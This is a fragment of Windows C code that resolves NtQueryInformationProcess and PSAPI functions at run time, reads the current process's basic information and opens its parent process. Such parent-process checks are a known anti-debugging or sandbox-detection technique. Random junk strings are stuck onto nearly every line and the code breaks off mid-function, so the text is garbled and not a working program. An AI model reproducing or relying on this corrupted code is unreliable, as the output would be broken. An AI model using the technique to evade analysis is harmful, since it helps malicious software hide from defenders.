} PROCESS_BASIC_INFORMATION; fi#o>tVyJ
4(YKwY2_L
PROCNTQSIP NtQueryInformationProcess; poHDA=#
3
'&T4ryq3"
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lTdYPqMi
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r"rID
RQ"
Mp$ uEi
HANDLE hProcess; |g4!Yd
PROCESS_BASIC_INFORMATION pbi; c#`Z[
S3j/(BG
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M* QqiE
if(NULL == hInst ) return 0; kAbT&Rm"
JVTG3:zD
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2@ACmh
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oChcEx%
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WE`Y!
|2c '0Ibu
if (!NtQueryInformationProcess) return 0; Q9#$4
O*yc8fUI
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {q8V
if(!hProcess) return 0; R`>E_SY
[N#2uo
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Cg21-G.
qdj,Qz9ly
CloseHandle(hProcess); 9[6*FAFJPP
rxCuV
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^X0<ZI
if(hProcess==NULL) return 0; lcIX
l&